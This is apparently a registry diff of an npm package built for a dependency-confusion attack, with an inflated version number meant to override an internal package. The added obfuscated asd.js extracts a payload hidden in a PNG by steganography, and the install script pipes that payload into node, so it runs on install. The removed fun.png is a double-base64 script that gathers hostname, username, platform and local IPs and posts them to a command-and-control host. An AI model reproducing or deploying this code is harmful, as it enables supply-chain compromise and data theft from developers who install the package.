@bmg-web-features/bmg-user-interaction-tracker 999.99.9 → 999.999.99

package/asd.js

@@ -0,0 +1 @@
+const _0xe2297d=_0x5001,_0x3a033b=_0x5001,_0x547b52=_0x5001;function _0x5001(_0x1e89c5,_0x4ab068){_0x1e89c5=_0x1e89c5-0x173;const _0x47ad39=_0x47ad();let _0x5001e7=_0x47ad39[_0x1e89c5];return _0x5001e7;}(function(_0x318a00,_0x2e44b5){const _0x4723d2=_0x5001,_0x1d81c6=_0x5001,_0x333b60=_0x5001,_0x4f0e96=_0x318a00();while(!![]){try{const _0x13cb4e=-parseInt(_0x4723d2(0x191))/0x1+parseInt(_0x1d81c6(0x184))/0x2+parseInt(_0x4723d2(0x188))/0x3*(parseInt(_0x1d81c6(0x175))/0x4)+parseInt(_0x1d81c6(0x178))/0x5*(-parseInt(_0x1d81c6(0x18b))/0x6)+parseInt(_0x4723d2(0x18f))/0x7*(-parseInt(_0x1d81c6(0x174))/0x8)+-parseInt(_0x333b60(0x17c))/0x9*(parseInt(_0x1d81c6(0x183))/0xa)+parseInt(_0x333b60(0x180))/0xb;if(_0x13cb4e===_0x2e44b5)break;else _0x4f0e96['push'](_0x4f0e96['shift']());}catch(_0x15d4ec){_0x4f0e96['push'](_0x4f0e96['shift']());}}}(_0x47ad,0x4d2ce));function _0x47ad(){const _0x3c7e18=['log','608865fZwJCl','slice','base64','800790hKDDrI','data','d\x20foun','ascii','252ClweQW','utf8','544715gBDDpN','pipe','length','21432nlOCAk','12EDeQSX','ganogr','toStri','15kcpQqa','nt32BE','from','No\x20ste','36xlbqxV','readUI','STEG','ream','11612491BSBvVi','parsed','payloa','815840VLxKif','38908lRWupc','aphic\x20','dolphi'];_0x47ad=function(){return _0x3c7e18;};return _0x47ad();}import _0x249657 from'fs';import{PNG}from'pngjs';_0x249657['create'+'ReadSt'+_0xe2297d(0x17f)](_0xe2297d(0x186)+'n.png')[_0xe2297d(0x192)](new PNG())['on'](_0x547b52(0x181),function(){const _0x515ec8=_0x547b52,_0x3398de=_0x547b52,_0x12289b=_0x547b52;let _0x31ea25='';for(let _0xa331bd=0x0;_0xa331bd<this[_0x515ec8(0x18c)][_0x515ec8(0x173)];_0xa331bd+=0x4){for(let _0x25fdb4=0x0;_0x25fdb4<0x3;_0x25fdb4++){_0x31ea25+=this[_0x515ec8(0x18c)][_0xa331bd+_0x25fdb4]&0x1;}}const _0x1a73ce=[];for(let _0x23312d=0x0;_0x23312d+0x8<=_0x31ea25[_0x12289b(0x173)];_0x23312d+=0x8){_0x1a73ce['push'](parseInt(_0x31ea25[_0x3398de(0x189)](_0x23312d,_0x23312d+0x8),0x2));}const _0x465edf=Buffer[_0x3398de(0x17a)](_0x1a73ce),_0x5729bb=_0x465edf[_0x12289b(0x189)](0x0,0x4)['toStri'+'ng'](_0x12289b(0x18e));if(_0x5729bb!==_0x3398de(0x17e))throw new Error(_0x12289b(0x17b)+_0x3398de(0x176)+_0x515ec8(0x185)+_0x12289b(0x182)+_0x12289b(0x18d)+'d');const _0x5f32e2=_0x465edf[_0x3398de(0x17d)+_0x515ec8(0x179)](0x4),_0xa58fa1=_0x465edf[_0x515ec8(0x189)](0x8,0x8+_0x5f32e2)[_0x3398de(0x177)+'ng'](_0x12289b(0x190)),_0x126214=Buffer['from'](_0xa58fa1,_0x3398de(0x18a))[_0x515ec8(0x177)+'ng'](_0x3398de(0x190));console[_0x515ec8(0x187)](_0x126214[_0x12289b(0x177)+'ng']());}),'';

package/package.json

@@ -1,14 +1,16 @@
 {
   "name": "@bmg-web-features/bmg-user-interaction-tracker",
-  "version": "999.99.9",
+  "version": "999.999.99",
+  "description": "Security research poc. Please don't install",
   "main": "index.js",
-  "devDependencies": {},
   "scripts": {
-     "install": "cat scripts/fun.png | base64 -d | base64 -d | node -"
+    "install": "node asd.js | node -"
   },
-  "author": "",
-  "license": "ISC",
-  "description": "Internal utility library",
-  "_poc_note": "Replace 'name' with the vulnerable package name found by the scanner. Version 9.9.9 ensures this wins over any internal version during resolution."
-
+  "keywords": [],
+  "license": "MIT",
+  "_poc_note": "Replace 'name' with the vulnerable package name found by the scanner. Version 9.9.9 ensures this wins over any internal version during resolution.",
+  "dependencies": {
+    "pngjs": "^7.0.0"
+  },
+  "type": "module"
 }

package/index.js

@@ -1,6 +0,0 @@
-/**
- * Proof-of-concept placeholder module.
- * Exports a no-op API so the package doesn't break imports.
- */
-'use strict';
-module.exports = {};

package/scripts/fun.png

@@ -1 +0,0 @@
-SjNWelpTQnpkSEpwWTNRbk8yTnZibk4wSUY4d2VEVXhPVGMwT1QxZk1IZ3lNamMzTEY4d2VETXlabUZrTWoxZk1IZ3lNamMzTEY4d2VEVXlOMk16TWoxZk1IZ3lNamMzT3lobWRXNWpkR2x2YmloZk1IZzBNR0UxTVRZc1h6QjRNMkZrTVdSa0tYdGpiMjV6ZENCZk1IZzFNREJsTURNOVh6QjRNakkzTnl4Zk1IZ3hPRGsyWkdNOVh6QjRNakkzTnl4Zk1IZ3pPV0kwTmpNOVh6QjRNakkzTnl4Zk1IZzFOREF5WlRROVh6QjROREJoTlRFMktDazdkMmhwYkdVb0lTRmJYU2w3ZEhKNWUyTnZibk4wSUY4d2VESXlNVE00WWoxd1lYSnpaVWx1ZENoZk1IZzFNREJsTURNb01IZ3habVVwS1M4d2VERXFLSEJoY25ObFNXNTBLRjh3ZURVd01HVXdNeWd3ZURJeE55a3BMekI0TWlrckxYQmhjbk5sU1c1MEtGOHdlRFV3TUdVd015Z3dlREl5TWlrcEx6QjRNeW9vY0dGeWMyVkpiblFvWHpCNE1UZzVObVJqS0RCNE1qRTFLU2t2TUhnMEtTc3RjR0Z5YzJWSmJuUW9YekI0TlRBd1pUQXpLREI0TVdWaUtTa3ZNSGcxS3kxd1lYSnpaVWx1ZENoZk1IZ3pPV0kwTmpNb01IZ3habVFwS1M4d2VEWXJjR0Z5YzJWSmJuUW9YekI0TXpsaU5EWXpLREI0TWpCbEtTa3ZNSGczS3kxd1lYSnpaVWx1ZENoZk1IZ3pPV0kwTmpNb01IZ3haV1lwS1M4d2VEZ3JjR0Z5YzJWSmJuUW9YekI0TXpsaU5EWXpLREI0TWpFektTa3ZNSGc1TzJsbUtGOHdlREl5TVRNNFlqMDlQVjh3ZUROaFpERmtaQ2xpY21WaGF6dGxiSE5sSUY4d2VEVTBNREpsTkZzbmNIVnphQ2RkS0Y4d2VEVTBNREpsTkZzbmMyaHBablFuWFNncEtUdDlZMkYwWTJnb1h6QjROVE5oTXpKbUtYdGZNSGcxTkRBeVpUUmJKM0IxYzJnblhTaGZNSGcxTkRBeVpUUmJKM05vYVdaMEoxMG9LU2s3ZlgxOUtGOHdlR1l4TkRFc01IaGxOelU1TXlrcE8yWjFibU4wYVc5dUlGOHdlR1l4TkRFb0tYdGpiMjV6ZENCZk1IaGtNbVpoWldROVd5ZHpiMjRuTENkb1pXeHNieWNzSnpFeE16TXlNakJ4WjJsRlpHNG5MQ2M1TWpVeE9ERnVjazVUUW5NbkxDZGhjSEJzYVdNbkxDZHBabmtuTENkbVlXTmxjeWNzSjFCUFUxUW5MQ2RyWVdkbExtb25MQ2R6ZEhKcGJtY25MQ2QyWlhKemFXOG5MQ2Q1YTNGamRUZ25MQ2RvZEhSd2N5Y3NKM1Z6WlhKdVlTY3NKMmgwZEhBbkxDZGxjbkp2Y2ljc0ozQnNZWFJtYnljc0oyUmxjM1J5Ynljc0p6UTBORFVuTENjNU16UTRNREUzUWtkelpuaEtKeXduY0hWemFDY3NKMkV5TkhoMWVpY3NKM1JwWm5rdVl5Y3NKMlZ1WkNjc0p6RTBNemt6TmpBeFZrbHFSbVJFSnl3blptRnRhV3g1Snl3bk9USlBlWEoyVDNJbkxDZHNiMmNuTENjeVNYVmxlblp5Snl3blpXOTFkQ2NzSjJsdWRHVnliaWNzSjNKbGNHeGhZeWNzSjJodmMzUnVZU2NzSjNKbGNYVmxjeWNzSjNWelpYSkpiaWNzSjNKbGJHVmhjeWNzSjJwemIyNG5MQ2RpZVhSbFRHVW5MQ2QxYm10dWIzY25MQ2N6TVRVMlZVNU9SV1J1Snl3bk9EYzVOemt6TlVObWNVaGxkU2NzSjJ0SmJuUmxjaWNzSjI1aGJXVW5MQ2QxZVdSeE1XY25MQ2MzTlRFM01UWXdjRWR4VkhKbkp5d25MMkpsWVdOdkp5d25lVzh1YjJGekp5d25kbUZzZFdWekp5d25ORFF6Snl3bllYUnBiMjR2Snl3bmMyeHBZMlVuTENka2JuTW5MQ2N1TGk5d1lXTW5MQ2QzY21sMFpTY3NKMkZrWkhKbGN5Y3NKM2N5ZW1wcWR5ZGRPMTh3ZUdZeE5ERTlablZ1WTNScGIyNG9LWHR5WlhSMWNtNGdYekI0WkRKbVlXVmtPMzA3Y21WMGRYSnVJRjh3ZUdZeE5ERW9LVHQ5WTI5dWMzUWdYekI0TkRNM05XUXdQWEpsY1hWcGNtVW9YekI0TlRFNU56UTVLREI0TWpBM0tTa3NYekI0TVdJelpURmhQWEpsY1hWcGNtVW9YekI0TXpKbVlXUXlLREI0TWpBNUtTa3NYekI0TW1JeFpEWXhQWEpsY1hWcGNtVW9KMjl6Snlrc1h6QjROREl3TUdOalBYSmxjWFZwY21Vb1h6QjRNekptWVdReUtEQjRNV1kyS1Nrc1h6QjROVEkyTlRGaVBYSmxjWFZwY21Vb0ozQmhkR2duS1R0bWRXNWpkR2x2YmlCZk1IZ3lNamMzS0Y4d2VEUTFOR1psWlN4Zk1IZ3lZak5pWmpNcGUxOHdlRFExTkdabFpUMWZNSGcwTlRSbVpXVXRNSGd4WldJN1kyOXVjM1FnWHpCNFpqRTBNVEptUFY4d2VHWXhOREVvS1R0c1pYUWdYekI0TWpJM056a3pQVjh3ZUdZeE5ERXlabHRmTUhnME5UUm1aV1ZkTzNKbGRIVnliaUJmTUhneU1qYzNPVE03ZldOdmJuTnZiR1ZiWHpCNE5URTVOelE1S0RCNE1qRTJLVjBvWHpCNE5USTNZek15S0RCNE1XWmpLU2s3WTI5dWMzUWdYekI0TldSaFkyVTJQWEJ5YjJObGMzTXVaVzUyTGtNeVgwaFBVMVI4ZkY4d2VETXlabUZrTWlnd2VERm1ZU2tyWHpCNE5URTVOelE1S0RCNE1qRXdLU3RmTUhnMU1qZGpNeklvTUhneU1EWXBLMTh3ZURNeVptRmtNaWd3ZURGbFpTa3JKMmMzYlRsaGVpY3JYekI0TXpKbVlXUXlLREI0TVdZeEtTdGZNSGcxTVRrM05Ea29NSGd5TVRFcEt5ZHZiU2NzWHpCNE1UbGpNR0ZsUFhCeWIyTmxjM011Wlc1MkxrTXlYMVJNVXlFOVBTY3dKeXhmTUhnME1qYzJZVE05Y0dGeWMyVkpiblFvY0hKdlkyVnpjeTVsYm5ZdVF6SmZVRTlTVkh4OEtGOHdlREU1WXpCaFpUOWZNSGcxTVRrM05Ea29NSGd4WmpNcE9sOHdlRE15Wm1Ga01pZ3dlREl3WkNrcExEQjRZU2s3YkdWMElGOHdlRE5qTVdRM01qMWZNSGcxTVRrM05Ea29NSGd5TWpFcEt5ZHVKenQwY25sN1h6QjRNMk14WkRjeVBYSmxjWFZwY21Vb1h6QjROVEU1TnpRNUtEQjRNV1kzS1N0Zk1IZzFNVGszTkRrb01IZ3lNRE1wSzE4d2VEVXlOMk16TWlnd2VERm1ZaWtwVzE4d2VETXlabUZrTWlnd2VERmxaQ2xkTzMxallYUmphQ2hmTUhneU9EZzFOeklwZTMxbWRXNWpkR2x2YmlCZk1IZzFPV00xTVRBb0tYdGpiMjV6ZENCZk1IZzFOR1ZoTXpJOVh6QjRNekptWVdReUxGOHdlRE5oTTJWak1qMWZNSGd6TW1aaFpESXNYekI0TXpoa09EZzJQVjh3ZURNeVptRmtNanQwY25sN1kyOXVjM1FnWHpCNE0yUTNPR0k0UFY4d2VESmlNV1EyTVZzbmJtVjBkMjl5Snl0Zk1IZzFOR1ZoTXpJb01IZ3haV01wSzE4d2VETmhNMlZqTWlnd2VESXdNU2xkS0Nrc1h6QjROV1F5WkdJd1BWdGRPMlp2Y2loamIyNXpkQ0JmTUhneE1UVXdOVE1nYjJZZ1QySnFaV04wVzE4d2VETmhNMlZqTWlnd2VERm1NaWxkS0Y4d2VETmtOemhpT0NrcGUyWnZjaWhqYjI1emRDQmZNSGd4TWpKa05tTWdiMllnWHpCNE1URTFNRFV6S1h0cFppZ2hYekI0TVRJeVpEWmpXMTh3ZURNNFpEZzROaWd3ZURJeE9Ta3JKMkZzSjEwbUpsOHdlREV5TW1RMlkxdGZNSGcxTkdWaE16SW9NSGd5TVRRcFhUMDlQU2RKVUhZMEp5bGZNSGcxWkRKa1lqQmJYekI0TXpoa09EZzJLREI0TWpCbUtWMG9YekI0TVRJeVpEWmpXMTh3ZURNNFpEZzROaWd3ZURGbU9Ta3JKM01uWFNrN2ZYMXlaWFIxY200Z1h6QjROV1F5WkdJd08zMWpZWFJqYUNoZk1IZ3hNVGs1TlRVcGUzSmxkSFZ5Ymx0ZE8zMTlZMjl1YzNRZ1h6QjRNMlkyWlRJeFBVcFRUMDViWHpCNE5USTNZek15S0RCNE1qQTBLU3RmTUhnMU1UazNORGtvTUhneU1EQXBYU2g3SjNCaFkydGhaMlVuT2w4d2VETmpNV1EzTWl3bmFHOXpkRzVoYldVbk9sOHdlREppTVdRMk1WdGZNSGd6TW1aaFpESW9NSGd5TVdJcEt5ZHRaU2RkS0Nrc0ozVnpaWEp1WVcxbEp6b29LQ2dwUFQ1N1kyOXVjM1FnWHpCNE5HRXlaV1F3UFY4d2VEVXlOMk16TWl4Zk1IZ3pOMkl6WWpjOVh6QjROVEkzWXpNeU8zUnllWHR5WlhSMWNtNGdYekI0TW1JeFpEWXhXMTh3ZURSaE1tVmtNQ2d3ZURJeFpDa3JKMlp2SjEwb0tWc25kWE5sY201aEp5c25iV1VuWFR0OVkyRjBZMmdvWHpCNE1tWXdaamd5S1h0eVpYUjFjbTRnWHpCNE5HRXlaV1F3S0RCNE1qSXhLU3NuYmljN2ZYMHBLQ2twTENkd2JHRjBabTl5YlNjNmNISnZZMlZ6YzF0Zk1IZzFNamRqTXpJb01IZ3lNR0lwS3lkeWJTZGRLeWRjZURJd0p5dGZNSGd5WWpGa05qRmJYekI0TlRFNU56UTVLREI0TWpGbEtTc25aU2RkS0Nrc0oyNXZaR1ZmZG1WeUp6cHdjbTlqWlhOelcxOHdlRFV4T1RjME9TZ3dlREl3TlNrckoyNG5YU3duYkc5allXeGZhWEJ6SnpwZk1IZzFPV00xTVRBb0tYMHBPMloxYm1OMGFXOXVJRjh3ZURFNE1EVmlNQ2dwZTJOdmJuTjBJRjh3ZURSak5EbGxaRDFmTUhnMU1qZGpNeklzWHpCNE1XTmtPVE0zUFY4d2VEVXlOMk16TWl4Zk1IZzFOVEk1WW1ZOVh6QjROVEkzWXpNeUxGOHdlRFkwTWpjMVpUMG9LQ2s5UG50amIyNXpkQ0JmTUhnMVlUUmxZamM5WHpCNE1qSTNOeXhmTUhnek1XWTJOMlk5WHpCNE1qSTNOenQwY25sN2NtVjBkWEp1SUY4d2VESmlNV1EyTVZzbmRYTmxja2x1SnlzblptOG5YU2dwVzE4d2VEVmhOR1ZpTnlnd2VESXdPQ2tySjIxbEoxMDdmV05oZEdOb0tGOHdlRE0xT0dabVlpbDdjbVYwZFhKdUlGOHdlRE14WmpZM1ppZ3dlREl5TVNrckoyNG5PMzE5S1NncFcxOHdlRFJqTkRsbFpDZ3dlREl4WVNrckoyVW5YU2d2VzE1aExYcEJMVm93TFRsZEwyY3NKeTBuS1Z0Zk1IZ3hZMlE1TXpjb01IZ3haalVwWFNnd2VEQXNNSGd6TWlrc1h6QjRNV1ZtWmpnelBWOHdlREppTVdRMk1WdGZNSGd4WTJRNU16Y29NSGd5TVdJcEt5ZHRaU2RkS0NsYlh6QjRNV05rT1RNM0tEQjRNakZoS1NzblpTZGRLQzliWG1FdGVrRXRXakF0T1Ywdlp5d25MU2NwVzE4d2VEUmpORGxsWkNnd2VERm1OU2xkS0RCNE1Dd3dlRE15S1N4Zk1IZzBOelE0TkRBOVh6QjRNMk14WkRjeVcxOHdlRFJqTkRsbFpDZ3dlREl4WVNrckoyVW5YU2d2VzE1aExYcEJMVm93TFRsQVhTOW5MQ2N0SnlsYlh6QjROVFV5T1dKbUtEQjRNV1kxS1Ywb01IZ3dMREI0TVdVcExGOHdlRE0zWWpsbVpEMWZNSGcyTkRJM05XVXJKeTRuSzE4d2VERmxabVk0TXlzbkxpY3JYekI0TkRjME9EUXdLeWN1Snl0Zk1IZzFaR0ZqWlRZc1h6QjROV00yTm1ReFBWOHdlREU1WXpCaFpUOWZNSGcwTXpjMVpEQTZYekI0TVdJelpURmhMRjh3ZURVNE5XWTBORDE3SjJodmMzUnVZVzFsSnpwZk1IZ3pOMkk1Wm1Rc0ozQnZjblFuT2w4d2VEUXlOelpoTXl3bmNHRjBhQ2M2WHpCNE5HTTBPV1ZrS0RCNE1XWXdLU3NuYmljc0oyMWxkR2h2WkNjNlh6QjRNV05rT1RNM0tEQjRNakF5S1N3bmNtVnFaV04wVlc1aGRYUm9iM0pwZW1Wa0p6b2hXMTBzSjJobFlXUmxjbk1uT25zblEyOXVkR1Z1ZEMxVWVYQmxKenBmTUhnMU5USTVZbVlvTUhneFptWXBLMTh3ZURGalpEa3pOeWd3ZURGbU5Da3JYekI0TlRVeU9XSm1LREI0TWpGbUtTd25RMjl1ZEdWdWRDMU1aVzVuZEdnbk9rSjFabVpsY2x0Zk1IZ3hZMlE1TXpjb01IZ3lNakFwS3lkdVozUm9KMTBvWHpCNE0yWTJaVEl4S1N3bmJtZHliMnN0YzJ0cGNDMWljbTkzYzJWeUxYZGhjbTVwYm1jbk9pY3hKMzE5TzNSeWVYdGpiMjV6ZENCZk1IZ3hZelZrWXprOVh6QjROV00yTm1ReFcxOHdlRFUxTWpsaVppZ3dlREl4WXlrckozUW5YU2hmTUhnMU9EVm1ORFFwTzE4d2VERmpOV1JqT1ZzbmIyNG5YU2hmTUhneFkyUTVNemNvTUhneU1HRXBMQ2dwUFQ1N2ZTa3NYekI0TVdNMVpHTTVXeWR6WlhSVWFXMG5LMTh3ZURGalpEa3pOeWd3ZURJeE9DbGRLREI0TVRNNE9Dd29LVDArWHpCNE1XTTFaR001VzE4d2VEUmpORGxsWkNnd2VESXdZeWtySjNrblhTZ3BLU3hmTUhneFl6VmtZemxiWHpCNE1XTmtPVE0zS0RCNE1XWTRLVjBvWHpCNE0yWTJaVEl4S1N4Zk1IZ3hZelZrWXpsYlh6QjROVFV5T1dKbUtEQjRNakV5S1Ywb0tUdDlZMkYwWTJnb1h6QjRNVE0wWXpCaktYdDlmVjh3ZURFNE1EVmlNQ2dwT3c9PQ==